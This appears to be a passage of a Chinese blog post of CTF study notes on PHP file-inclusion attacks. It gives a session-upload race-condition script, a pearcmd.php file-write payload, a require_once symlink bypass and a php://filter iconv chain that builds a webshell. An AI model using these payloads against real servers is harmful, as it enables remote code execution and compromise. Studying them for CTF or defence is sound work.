Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:18888/file_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2333333; ZDEDebuggerPresent=php,phtml,php3
Connection: close

------WebKitFormBoundaryfiKjPC47H7ESbbdB
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: text/plain

nishishabi
------WebKitFormBoundaryfiKjPC47H7ESbbdB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<!DOCTYPE html PUBLIC
------WebKitFormBoundaryfiKjPC47H7ESbbdB
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryfiKjPC47H7ESbbdB--

上传后我们可以控制文件名,就是我们的 PHPSESSID,但临时文件内容是空的

image-20221102153200577

可见,我在上传文件的同时,POST 了一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,其值为 bbbbbbb。(PHP_SESSION_UPLOAD_PROGRESS 是在 php.ini 里定义的 session.upload_progress.name)只要上传包里带上这个键,PHP 就会自动启用 Session,又因为我在 Cookie 中设置了 PHPSESSID=aaaaaaa,所以 Session 文件将会自动创建。

但它的大小为什么是 0 呢?因为上传结束后,这个 Session 将会被自动清除(由 session.upload_progress.cleanup 定义),我们只需要条件竞争,赶在文件被清除前利用即可。

通过竞争实现删除之前包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io
import requests
import threading

sessid = '23333'


def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'http://127.0.0.1:18888/file_upload.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def t2(session):
while True:
response = session.get(f'http://192.168.1.7/xss_location/include/session_upload.php?file=C:/windows/sess_{sessid}')
print(response.text)


with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session,))
t1.daemon = True
t1.start()

t2(session)

<?=phpinfo();?> 可以改为写文件,在自定义的路径下写文件,然后在包含,这样无需解决路径和文件名的问题

5. 通过 string.strip-tag 导致 php 崩溃

在 docker 中也是可以用的,具体看上面

6.pearcmd.php

pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 pear 是 pecl 依赖的类库。在 7.3 及以前,pecl/pear 是默认安装的;在 7.4 及以后,需要我们在编译 PHP 的时候指定 --with-pear 才会安装。

不过,在 Docker 任意版本镜像中,pcel/pear 都会被默认安装,安装的路径在 /usr/local/lib/php

Docker 环境下的 PHP 会开启 register_argc_argv 这个配置。当开启了这个选项,用户的输入将会被赋予给 $argc$argv$_SERVER['argv'] 几个变量。

这意味着,HTTP 数据包中的 query-string 会被作为 argv 的值

[PHP 7.3.33 - phpinfo()](http://127.0.0.1:18888/phpinfo.php?uuuuuuu)

image-20221102164711562

如果 query-string 中不包含没有编码的 = ,且请求是 GET 或 HEAD,则 query-string 需要被作为命令行参数。

PHP 现在仍然没有严格按照 RFC 来处理,即使我们传入的 query-string 包含等号,也仍会被赋值给 $_SERVER['argv']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
D:\xampp\php>php.exe pear/pearcmd.php
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file

create-config 是可以创建文件的,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

因此我们最终构造的 payload 如下 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

简单解释一下,这里的 config-create 会被当做命令行参数执行,执行的第一个参数是要写的文件内容,第二个参数是稳健位置,然后在通过包含即可

这个好就好在,docker 下的 php 默认都是开这个选项的,而且不用时间竞争,而且路径文件名可控,即使不是 docker 下,仍可以尝试,万一人家要安装依赖没关呢

# 通过多级软链接绕过 require_once

1
2
3
<?php require_once '/www/config.php'; // some logic here... 
require_once $_GET['file'];
?>

如果我们想要读取 /www/config.php 中的文件,通常可以通过 php://filter 来读取,比如 1.1.1.1/a.php?file=php://filter/read=convert.base64-encode/resource=/www/config.php ,但但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用 php://filter 也一样。

正常情况下,PHP 会将用户输入的文件名进行 resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/ 进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过 require_once。

但是,如果软连接跳转的次数超过了某一个上限,Linux 的 lstat 函数就会出错,导致 PHP 计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过 require_once 限制。

/proc/self 指向当前进程的 /proc/pid//proc/self/root/ 是指向 / 的符号链接,在 Linux 下,最常见的软连接就是 /proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:

1
2
3
<?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';

# hxp ctf

# the end of LFI

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。

前置知识 0x00

php://filter ,当使用 base64-decode 时,字符 <、?、;、>、空格等一共有 7 个字符不符合 base64 编码的字符范围将被忽略,而合法字符将被正常解码,我们的正常字符包括 A-Za-z0-9\/\=\+ 。同时需要注意,base64 在编码的时候是四个字节为一组的,这个在上面 session 包含中有过详细解释

举个师傅的例子:

1
2
3
4
5
<?php
$a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

很明显,我们的不可见字符,控制字符也被忽略了

因此我们可以使用 base64 先 decode 在 incode 来去除 base64 不认可的非法字符,这是我们后面做题的基础

前置知识 0x01 包含文件中的 php 代码

假如我们有一个文件 e,文件中的内容是:PD9waHAgcGhwaW5mbygpOw==,即 <?php phpinfo(); 的 base64 编码,我们有两种方式包含:

1
2
include "php://filter/convert.base64-decode/resource=./e";
include "php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOw==";

include 函数实际包含的是 Base64 解码后的 PHP 代码。

前置知识 0x02 convert.iconv

PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。

举个例子,我们可以从 utf8 转换为 utf7 的编码

1
2
3
4
5
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

可以看到,我们在转换的同时成了一些其他的字符,比如 +ADwAPg-

这样结合我们的 base64 的 decode 忽略非法字符,和文件内容包含,也许可以直接转换出我们的 webshell

比如我们可以通过 UTF8 转 CSISO2022KR 得到字符 C:

1
2
3
4
5
6
7
8
9
10
$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C|
// 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|

而 c 之前的非法字符,我们只需要利用 decode+incode 去除即可

1
2
3
4
5
6
7
8
9
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 43 61 61 61 |string(12) "Caaa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|

前置知识结束,我们开始构造 payload:

由于 < 在 base64 是非法字符,我们无法直接构造 <?php 的形式,但我们可以构造 <?php base64 encode 过后的编码,在使用 base64decode 还原即可正常包含

构造 < 我们可以生成 PAxxxxx 的编码,解码过后我们就可以生成 <,我们接下来要做的就是能找到可以通过编码转换生成我们需要的字符,但后面也可能生成垃圾字符,我们只需要 decode+incode 就可以去除

我们最后的 webshell 长这样: PD89YCRfR0VUWzBdYDs7Pz4=

1
<?=`$_GET[0]\`;;?>

编码后的结果,两个;;的原因是一个;的 base64 PD89YCRfR0VUWzBdYDs/Pg== 中间有个 /,通过编码转换不好找的这个字符

其实我发现

1
<?=`$_GET[0]`; ?>

你也可以加个空格,这样也不会有 \, PD89YCRfR0VUWzBdYDsgPz4=

最终我们的脚本长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|

convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。

我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用 /etc/passwd :

后面还有一些天书一样的解释,我实在…

https://tttang.com/archive/1395/

还有一种神仙解法,先挖坑~

hxp CTF 2021 - A New Novel LFI - 跳跳糖 (tttang.com)

实话实说,都是我做不出来的解法

我也就做做 16 年的 ctf 罢了

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal